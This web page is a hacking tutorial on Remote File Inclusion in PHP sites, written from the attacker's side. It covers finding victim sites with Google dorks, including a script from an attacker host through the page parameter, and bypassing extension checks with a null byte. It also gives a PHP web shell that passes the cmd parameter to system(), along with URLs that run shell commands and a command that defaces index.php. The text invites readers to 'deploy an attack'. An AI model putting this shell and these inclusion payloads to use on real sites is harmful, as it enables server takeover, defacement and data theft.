|   | 
	
	
		|   | 
	
	
		| Remote File Inclusion Tutorial | 
	
	
		| Author:
		Rishabh Dangwal  | 
	
	
		|   | 
	
	
		|   | 
	
	
		|   | 
	
	
		
	
			  |   
	
		
	
		| 
		
	 | 
	
	
		|   | 
	
	
		|   | 
	
	
		|   | 
	
	
	
		
	
			  |   
	
	
		 | 
	
	
		|   | 
	
	
		|   | 
	
	
		
	
		  |  	
		
		
		 
		
			
		     
		 | 
		
			RFI stands for Remote File Inclusion 
			that allows 
			the attacker to upload a custom coded/malicious file on a website or 
			server using a script. The vulnerability exploit the poor validation 
			checks in websites and can eventually lead to code execution on 
			server or code execution on website (XSS attack using javascript). 
			This time, I will be writing a simple tutorial on Remote File 
			Inclusion and by the end of tutorial, I suppose you will know what 
			it is all about and may be able to deploy an attack or two.
  RFI is a common vulnerability and trust me all website hacking is 
			not exactly about SQL injection. Using RFI you can literally deface 
			the websites, get access to the server and do almost anything. What 
			makes it more dangerous is that you only need to have your common 
			sense and basic knowledge of PHP to execute this one, some BASH 
			might come handy as most of servers today are hosted on Linux. | 
		
	
		 
		 
		 | 
	
	
		|   | 
	
	
		|   | 
	
	
		|   | 
	
	
		
	
	
		|   | 
	
	
		| Lets get it started. The first step is to find vulnerable site, you 
		can easily find them using Google dorks.If you don't have any idea, you 
		might want to read about advanced password hacking using Google dorks or 
		to use automated tool to apply Google dorks using Google. Now lets 
		assume we have found a vulnerable website | 
	
	
		|   | 
	
	
		| 
		http://victimsite.com/index.php?page=home | 
	
	
		|   | 
	
	
		| As you can see, this website pulls documents stored in text format 
		from server and renders them as web pages. We can find ways around it as 
		it uses PHP include function to pull them out. Lets 
		check it out. | 
	
	
		|   | 
	
	
		| 
		http://victimsite.com/index.php?page=http://hackersite.com/evilscript.txt | 
	
	
		|   | 
	
	
		| I have included a custom script "evilscript" in 
		text format from my website, which contains some code.Now, if its a 
		vulnerable website, then any of these 3 things can happen | 
	
	
		|   | 
	
	
		
		
			- Case 1 - You might have noticed that the url consisted of
			"page=home" had no extension, but I have included 
			an extension in my url,hence the site may give an error like 
			'failure to include evilscript.txt.txt', this might happen as the 
			site may be automatically adding the .txt extension to the pages 
			stored in server.
 
			- Case 2 - In case, it automatically appends something in 
			the lines of .php then we have to use a null byte '%00' in order to 
			avoid error.
 
			- Case 3 - successfull execution :)
 
		 
		 | 
	
	
		|   | 
	
	
		| Now once you have battled around this one, you might want to learn 
		what to code inside the script. You may get a custom coded infamous C99 
		script (too bloaty but highly effective once deployed) or you might code 
		yourself a new one. For this knowledge of PHP might come in handy. Here 
		we go | 
	
	
		|   | 
	
	
		<?php echo 
		"<script>alert(U 4r3 0wn3d !!);</script>"; echo "Run command: 
		".htmlspecialchars($_GET['cmd']);
  system($_GET['cmd']); ?> | 
	
	
		|   | 
	
	
		| The above code allows you to exploit include function and tests if 
		the site if RFI (XSS) vulnerable by running the alert box code and if 
		successful, you can send custom commands to the linux server in bash. 
		So, if you are in luck and if it worked, lets try our hands on some 
		Linux commands. For example to find the current working directory of 
		server and then to list files, we will be using 'pwd' 
		and 'ls' commands | 
	
	
		|   | 
	
	
		 http//victimsite.com/index.php?cmd=pwd&page=http://hackersite.com/ourscript 
		 
		http//victimsite.com/index.php?cmd=ls&page=http://hackersite.com/ourscript | 
	
	
		|   | 
	
	
		| What it does is that it sends the command as cmd we put in our 
		script and begins print the working directory and list the 
		documents.Even better you can almost make the page proclaim that you 
		hacked it by using the 'echo' command. | 
	
	
		|   | 
	
	
		|  cmd=echo U r 
		pwn3d by xero> index.php | 
	
	
		|   | 
	
	
		It will then re-write the index.php and render it.In case, its a 
		primitive website which stores pages with .txt extension, you might want 
		to put it with along the .txt files. Now as expected, we are now the 
		alpha and the omega of the website :) we can download, remove, rename, 
		anything! Want to download stuff ? try the 'wget' 
		function...
  I leave the rest to your creativity ! | 
	
	
		|   | 
	
	
		|   |   
	
	
		 |   |   
	
	
		 
			  
	
	
		 |   |   
	
	
		 In this basic tutorial, Rishabh explains 
			about RFI vulnerability and how to play around with it.
			   |   
	
	
		 
			|   | 
	
	
	
		|   | 
	
	
		|   | 
	
		
	
			  |   
	
		
	
		| 
		
	 | 
	
	
		|   | 
	
	
		|   | 
	
	
		|   | 
	
	
		|   | 
	
		|   |